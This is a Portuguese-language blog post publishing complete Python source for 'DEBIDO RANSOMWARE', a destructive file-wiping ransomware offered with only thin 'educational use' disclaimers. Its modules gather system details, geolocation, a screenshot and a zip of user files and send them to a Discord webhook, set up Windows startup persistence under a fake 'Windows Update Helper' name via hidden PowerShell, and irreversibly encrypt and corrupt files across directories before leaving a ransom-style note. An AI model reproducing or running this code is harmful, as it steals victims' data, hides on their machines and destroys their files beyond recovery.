DEBIDO RANSOMWARE
Neste post apresento uma malware do tipo Ransomware desenvolvido para ser totalmente maligno. A ideia do DEBIDO RANSOMWARE é que ele não tenha uma chave de descriptografia. Claro, algumas pessoas ignorantes vão achar que e pra usar para o mal. Eu explico claramente que é Para ser usado somente em AMBIENTES controlados e PoC's.
Estrutura do projeto
project/
├─ main.py
├─ grabbr_file.py
├─ persistence.py
├─ rans.py
└─ requirements.
Código-fonte
main.py
#!/usr/bin/env python3
# main.py
import sys
import os
# Garante que os módulos sejam encontrados
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
def main():
print("🔓 Captain Hook — Modo Educacional")
print("⚠️ PARA USO EM AMBIENTES CONTROLADOS APENAS.\n")
# 1. Coleta e envio (grabber)
print("[1/3] Executando coleta de dados e arquivos...")
from grabber_file import run_grabber
if not run_grabber():
print("❌ Falha na coleta. Abortando.")
return
# 2. Persistência
print("\n[2/3] Configurando persistência...")
from persistence import setup_persistence
setup_persistence()
# 3. Criptografia (só com confirmação)
print("\n[3/3] Preparando criptografia destrutiva...")
confirm = input("⚠️ Digite 'SIM' para CRIPTOGRAFAR e CORROMPER arquivos: ")
if confirm != "SIM":
print("⏹️ Operação cancelada.")
return
from rans import run_ransomware
run_ransomware()
print("\n✅ Processo concluído.")
if __name__ == "__main__":
main()
grabber_file.py
# grabber_file.py
import os
import zipfile
import requests
import socket
import psutil
import platform
from datetime import datetime
from PIL import ImageGrab
DISCORD_WEBHOOK_URL = "HOOK"
EXTENSOES_ALVO = {
'.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx',
'.jpg', '.jpeg', '.png', '.gif', '.mp4', '.mp3', '.wav', '.zip', '.rar',
'py', '.js', '.html', '.css', '.json', '.csv', '.sql', '.db', '.sqlite',
'.rtf', '.odt', '.ods', '.epub', '.mobi', '.log', '.ini', '.cfg', '.yml'
}
def coletar_info_sistema():
hostname = socket.gethostname()
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.connect(("8.8.8.8", 80))
ip_local = s.getsockname()[0]
s.close()
except:
ip_local = "N/A"
try:
response = requests.get('https://api.ipify.org', timeout=10)
ip_publico = response.text if response.status_code == 200 else "N/A"
except:
ip_publico = "N/A"
try:
if ip_publico != "N/A":
resp = requests.get(f'http://ip-api.com/json/{ip_publico}', timeout=10)
if resp.status_code == 200:
data = resp.json()
isp = data.get('isp', 'N/A')
pais = data.get('countryCode', 'BR')
regiao = data.get('regionName', 'São Paulo')
cidade = data.get('city', 'Campinas')
lat = data.get('lat', '-22.9056')
lon = data.get('lon', '-47.0608')
timezone = data.get('timezone', 'America/Sao_Paulo')
else:
isp = pais = regiao = cidade = lat = lon = timezone = "N/A"
else:
isp = pais = regiao = cidade = lat = lon = timezone = "N/A"
except:
isp = pais = regiao = cidade = lat = lon = timezone = "N/A"
discos = []
for partition in psutil.disk_partitions():
try:
usage = psutil.disk_usage(partition.mountpoint)
discos.append({
'disco': partition.device,
'percentual': usage.percent,
'livre': usage.free / (1024**3),
'total': usage.total / (1024**3)
})
except:
pass
processos = []
try:
for proc in psutil.process_iter(['pid', 'name', 'cpu_percent']):
try:
p = proc.info
if p['cpu_percent'] is not None:
processos.append(p)
except (psutil.NoSuchProcess, psutil.AccessDenied):
continue
processos = sorted(processos, key=lambda x: x['cpu_percent'], reverse=True)[:5]
except:
processos = []
cpu_percent = psutil.cpu_percent(interval=1)
mem = psutil.virtual_memory()
usuarios = []
try:
for user in psutil.users():
usuarios.append({
'nome': user.name,
'inicio': datetime.fromtimestamp(user.started).strftime('%Y-%m-%d %H:%M')
})
except:
usuarios = []
return {
"hostname": hostname,
"ip_local": ip_local,
"os": f"{platform.system()} {platform.release()}",
"versao_os": platform.version(),
"ip_publico": ip_publico,
"isp": isp,
"pais": pais,
"regiao": regiao,
"cidade": cidade,
"lat": lat,
"lon": lon,
"timezone": timezone,
"discos": discos,
"processos": processos,
"cpu_percent": cpu_percent,
"memoria_percent": mem.percent,
"memoria_total": mem.total / (1024**3),
"memoria_usada": mem.used / (1024**3),
"usuarios": usuarios,
"timestamp": datetime.now().strftime("%d/%m/%Y %H:%M"),
"data_completa": datetime.now().strftime("%d/%m/%Y, %H:%M")
}
def capturar_screenshot():
try:
path = os.path.join(os.getcwd(), f"screenshot_{datetime.now().strftime('%Y%m%d_%H%M%S')}.png")
ImageGrab.grab().save(path)
return path
except Exception as e:
print(f"⚠️ Falha ao capturar screenshot: {e}")
return None
def criar_zip_do_diretorio_atual():
arquivos_para_zip = []
for item in os.listdir("."):
if os.path.isfile(item):
ext = os.path.splitext(item)[1].lower()
if ext in EXTENSOES_ALVO:
arquivos_para_zip.append(item)
if not arquivos_para_zip:
return None
zip_nome = f"backup_local_{datetime.now().strftime('%Y%m%d_%H%M%S')}.zip"
try:
with zipfile.ZipFile(zip_nome, 'w', zipfile.ZIP_DEFLATED) as zf:
for arquivo in arquivos_para_zip:
zf.write(arquivo, arquivo)
return zip_nome
except Exception as e:
print(f"❌ Erro ao criar ZIP: {e}")
return None
def formatar_mensagem_discord(system_info):
fields = []
# Campo 1: Sistema
sistema_field = {
"name": "⚙️ Sistema",
"value": f"""OS: {system_info['os']} ({system_info['versao_os']})
IP Público: {system_info['ip_publico']}
ISP: {system_info['isp']}""",
"inline": False
}
fields.append(sistema_field)
# Campo 2: Disco
discos_str = "\n".join([
f"• {d['disco']}: {d['percentual']:.1f}% ({d['livre']:.1f} GB de {d['total']:.1f} GB)"
for d in system_info['discos'][:2]
]) or "N/A"
disco_field = {
"name": "💾 Disco",
"value": discos_str,
"inline": False
}
fields.append(disco_field)
# Campo 3: Processos (Top 5)
processos_str = "\n".join([
f"• {p['name'][:20]} ({p['cpu_percent']:.1f}%)"
for p in system_info['processos'][:3]
]) if system_info['processos'] else "N/A"
processos_field = {
"name": "📊 Processos (Top 5)",
"value": processos_str,
"inline": False
}
fields.append(processos_field)
# Campo 4: Geolocalização
geoloc_str = f"""País: {system_info['pais']}
Região: {system_info['regiao']}
Cidade: {system_info['cidade']}
Coordenadas: {system_info['lat']}, {system_info['lon']} ([Maps](https://www.google.com/maps?q={system_info['lat']},{system_info['lon']}))
Fuso Horário: {system_info['timezone']}"""
geoloc_field = {
"name": "🌐 Geolocalização",
"value": geoloc_str,
"inline": False
}
fields.append(geoloc_field)
# Campo 5: Hardware
hardware_str = f"""CPU: {system_info['cpu_percent']:.1f}%
Memória: {system_info['memoria_percent']:.1f}% ({system_info['memoria_usada']:.1f} GB de {system_info['memoria_total']:.1f} GB)"""
hardware_field = {
"name": "🔧 Hardware",
"value": hardware_str,
"inline": False
}
fields.append(hardware_field)
# Campo 6: Usuários Ativos
usuarios_str = "\n".join([
f"{u['nome']} desde {u['inicio']}"
for u in system_info['usuarios']
]) if system_info['usuarios'] else "N/A"
usuarios_field = {
"name": "👥 Usuários Ativos",
"value": usuarios_str,
"inline": False
}
fields.append(usuarios_field)
# Campo 7: Data
data_str = f"{system_info['timestamp']} | Sistema Monitorado"
data_field = {
"name": "📅 Data",
"value": data_str,
"inline": False
}
fields.append(data_field)
return fields
def enviar_para_discord(info, screenshot_path, zip_path):
try:
fields = formatar_mensagem_discord(info)
embed = {
"title": "🔍 Relatório de Sistema - Captain Hook",
"color": 3447003,
"thumbnail": {"url": "https://i.ibb.co/B5zPWK9k/banner.jpg"},
"footer": {
"text": "⚠️ EDUCATIONAL PURPOSES ONLY - SYSTEM MONITOR",
"icon_url": "https://cdn-icons-png.flaticon.com/512/6001/6001368.png"
},
"timestamp": datetime.now().isoformat(),
"fields": fields
}
data = {
"embeds": [embed],
"username": "Captain Hook System Monitor",
"avatar_url": "https://cdn-icons-png.flaticon.com/512/6001/6001368.png"
}
files = {}
if screenshot_path and os.path.exists(screenshot_path):
files["screenshot"] = (os.path.basename(screenshot_path), open(screenshot_path, "rb"), "image/png")
if zip_path and os.path.exists(zip_path):
files["backup"] = (os.path.basename(zip_path), open(zip_path, "rb"), "application/zip")
response = requests.post(DISCORD_WEBHOOK_URL, json=data, files=files or None, timeout=60)
for f in files.values():
f[1].close()
return response.status_code in (200, 204)
except Exception as e:
print(f"❌ Erro no envio ao Discord: {e}")
return False
def run_grabber():
print("📊 Coletando informações do sistema...")
info = coletar_info_sistema()
if info["ip_local"] == "N/A":
return False
print("📸 Capturando screenshot...")
screenshot = capturar_screenshot()
print("📦 Compactando arquivos do diretório atual...")
zip_file = criar_zip_do_diretorio_atual()
print("📤 Enviando relatório completo + screenshot + backup ao Discord...")
sucesso = enviar_para_discord(info, screenshot, zip_file)
# Limpeza
for f in [screenshot, zip_file]:
if f and os.path.exists(f):
try:
os.remove(f)
except:
pass
return sucesso
persistence.py
# persistence.py
import os
import sys
import shutil
import subprocess
import platform
def setup_persistence():
if platform.system().lower() != "windows":
return
try:
script_atual = os.path.abspath(sys.argv[0])
nome_arq = os.path.basename(script_atual)
temp_dir = os.path.expandvars("%TEMP%")
destino = os.path.join(temp_dir, nome_arq)
# Copia para %TEMP%
if script_atual != destino:
shutil.copy2(script_atual, destino)
print(f"✅ Copiado para: {destino}")
else:
print("➡️ Já está em %TEMP%")
# Cria atalho na inicialização
startup = os.path.expandvars(r"%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup")
atalho = os.path.join(startup, "WindowsUpdateHelper.lnk")
ps = f'''
$sh = New-Object -ComObject WScript.Shell
$sc = $sh.CreateShortcut("{atalho}")
$sc.TargetPath = "{destino}"
$sc.WorkingDirectory = "{temp_dir}"
$sc.WindowStyle = 7
$sc.Description = "Windows Update Helper"
$sc.Save()
'''
subprocess.run(
["powershell", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command", ps],
timeout=15,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
print(f"✅ Atalho criado: {atalho}")
except Exception as e:
print(f"❌ Erro na persistência: {e}")
rans.py
# rans.py
import os
import struct
from Cryptodome.Cipher import AES
from Cryptodome.Random import get_random_bytes
EXT_FINAL = ".debido"
EXTENSOES_ALVO = {
'.txt', '.doc', '.docx', '.pdf', '.xls', '.xlsx', '.ppt', '.pptx',
'.jpg', '.jpeg', '.png', '.gif', '.mp4', '.mp3', '.wav', '.zip', '.rar',
'.py', '.js', '.html', '.css', '.json', '.csv', '.sql', '.db', '.exe',
}
DIRETORIOS_PROIBIDOS = {
'Windows', 'System32', 'Program Files', 'ProgramData',
'$Recycle.Bin', 'System Volume Information', 'AppData'
}
def corrupt_data(data: bytes) -> bytes:
if len(data) < 100:
return get_random_bytes(len(data))
arr = bytearray(data)
for i in range(min(100, len(arr))):
arr[i] = (arr[i] + 73) % 256
mid = len(arr) // 2
for i in range(mid, min(mid + 50, len(arr))):
arr[i] ^= 0xFF
for i in range(max(0, len(arr) - 100), len(arr)):
arr[i] = (arr[i] * 7) % 256
for _ in range(min(1000, len(arr) // 10)):
pos = struct.unpack('I', os.urandom(4))[0] % len(arr)
arr[pos] = os.urandom(1)[0]
return bytes(arr)
def encrypt_and_corrupt(data: bytes) -> bytes:
key = get_random_bytes(32)
iv = get_random_bytes(16)
cipher = AES.new(key, AES.MODE_GCM, iv)
ct, tag = cipher.encrypt_and_digest(data)
return corrupt_data(iv + tag + ct)
def destroy_file(path: str):
try:
with open(path, "rb") as f:
data = f.read()
corrupted = data
for _ in range(5):
corrupted = encrypt_and_corrupt(corrupted)
with open(path, "wb") as f:
f.write(corrupted)
os.rename(path, path + EXT_FINAL)
print(f"✅ Corrompido: {os.path.basename(path)}")
except Exception as e:
print(f"❌ Falha em {path}: {e}")
def percorrer_diretorio(diretorio="."):
try:
for item in os.listdir(diretorio):
full = os.path.join(diretorio, item)
if os.path.isfile(full):
ext = os.path.splitext(item)[1].lower()
if ext in EXTENSOES_ALVO and not item.endswith(EXT_FINAL):
destroy_file(full)
elif os.path.isdir(full):
nome = os.path.basename(full)
if nome not in DIRETORIOS_PROIBIDOS and not nome.startswith('$'):
percorrer_diretorio(full)
except (OSError, PermissionError):
pass
def criar_aviso():
with open("LEIA_ISSO.txt", "w", encoding="utf-8") as f:
f.write(f"""
⚠️ SEUS ARQUIVOS FORAM DESTRUÍDOS ⚠️
Extensão: {EXT_FINAL}
Este é um exemplo EDUCACIONAL.
NÃO USE para atividades maliciosas.
""")
def run_ransomware():
print("💀 Iniciando criptografia destrutiva...")
percorrer_diretorio(".")
criar_aviso()
print("📄 Arquivo LEIA_ISSO.txt criado.")
requirements.txt
pycryptodomex==3.20.0
Pillow==10.4.0
psutil==6.0.0
requests==2.32.3